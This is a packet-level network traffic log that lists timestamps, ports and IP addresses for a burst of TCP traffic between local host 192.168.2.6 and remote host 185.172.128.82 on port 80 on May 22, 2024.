May 22, 2024 20:06:32.442115068 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.442161083 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.442178011 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.442217112 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.442262888 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.442279100 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.442308903 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.442332029 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.442358017 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.442420006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.442471027 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.442511082 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.442555904 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.442600965 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.442619085 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.442667961 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.442683935 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.442728043 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.442773104 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.442790985 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.442835093 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.442879915 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.442895889 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.442939997 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.442985058 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.443001032 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.443047047 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.443063974 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.443108082 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.443159103 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.443172932 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.443212986 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.443258047 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.443274975 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.443319082 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.443345070 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.443367958 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.443397045 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.443440914 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.443485975 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.443501949 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.443547964 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.443598986 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.443625927 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.443671942 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.443690062 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.443733931 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.443754911 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.443795919 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.443840027 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.443861008 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.443903923 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.443955898 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.443969965 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.444005966 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.444035053 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.444093943 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.444145918 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.444160938 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.444200993 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.444252014 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.444267988 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.444300890 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.444329023 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.444371939 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.444421053 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.444437027 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.444480896 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.444531918 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.444545984 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.444580078 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.444606066 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.444650888 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.444750071 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.444766045 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.444808006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.444859028 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.444871902 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.444914103 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.444964886 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.444994926 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.445046902 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.445074081 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.445118904 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.445169926 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.445183992 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.445225954 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.445276976 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.445291042 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.445326090 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.445348024 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.445391893 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.445441961 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.445475101 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.445494890 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.445519924 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.445544004 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.445590973 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.445641994 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.445656061 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.445698023 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.445749044 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.445764065 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.445799112 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.445827961 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.445873022 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.445911884 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.445931911 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.445959091 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.446005106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.446055889 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.446069956 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.446110964 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.446155071 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.446178913 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.446223021 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.446269035 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.446285963 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.446335077 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.446352959 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.446407080 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.446423054 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.446456909 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.446499109 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.446552992 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.446567059 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.446600914 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.446644068 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.446695089 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.446710110 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.446754932 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.446783066 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.446808100 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.446841002 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.446894884 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.446908951 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.446950912 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.447004080 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.447017908 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.447052956 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.447081089 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.447124958 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.447143078 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.447187901 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.447228909 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.447251081 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.447299004 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.447315931 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.447360039 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.447405100 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.447422028 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.447465897 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.447510958 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.447529078 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.447583914 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.447609901 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.447654963 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.447700024 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.447717905 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.447765112 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.447808981 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.447825909 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.447870970 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.447889090 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.447940111 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.447953939 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.447988033 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448010921 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448055983 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448075056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448118925 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448149920 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448175907 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448175907 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448199987 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448235989 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448280096 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448302031 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448337078 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448348045 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448363066 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448370934 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448393106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448402882 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448420048 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448442936 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448450089 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448467970 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448476076 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448493958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448512077 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448518991 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448535919 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448545933 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448564053 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448577881 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448590994 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448606014 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448613882 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448628902 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448637962 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448659897 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448667049 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448676109 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448689938 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448699951 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448717117 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448726892 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448744059 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448754072 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448771000 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448780060 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448796988 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448807955 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448824883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448834896 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448851109 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448860884 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448879004 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448899984 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448908091 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448924065 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448936939 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448946953 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.448964119 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.448982954 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449001074 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449013948 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449033976 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449040890 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449062109 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449071884 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449086905 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449098110 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449107885 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449134111 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449143887 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449162006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449179888 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449198961 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449207067 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449223995 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449234009 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449249029 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449264050 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449270964 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449290991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449300051 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449314117 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449331999 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449331999 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449345112 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449363947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449373007 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449388981 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449402094 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449410915 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449429035 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449438095 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449454069 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449467897 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449475050 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449493885 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449503899 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449520111 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449532986 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449541092 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449558973 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449568033 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449588060 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449600935 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449614048 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449630976 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449642897 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449662924 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449670076 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449683905 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449697018 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449712992 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449723005 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449733973 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449755907 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449763060 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449779987 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449806929 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449817896 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449834108 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449850082 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449866056 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449873924 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.449898005 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.449917078 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.450076103 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450094938 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450115919 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450125933 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.450143099 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.450150967 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450165033 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.450184107 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.450195074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450212002 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450232983 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450251102 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.450258970 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450275898 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450284958 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.450299978 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450316906 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.450326920 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450344086 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450351954 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.450371981 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450385094 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.450401068 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450417042 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450423956 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.450440884 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450450897 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.450465918 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450488091 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.450500965 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450516939 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.450531006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450546980 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.450557947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450578928 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.450586081 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450602055 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.450624943 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.450784922 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450870991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450881958 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.450898886 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450916052 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450922966 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.450942993 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450948954 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.450967073 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.450975895 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.450990915 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.451001883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.451010942 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.451026917 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.451036930 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.451062918 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.451298952 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.451318979 CEST	80	49708	185.172.128.82	192.168.2.6
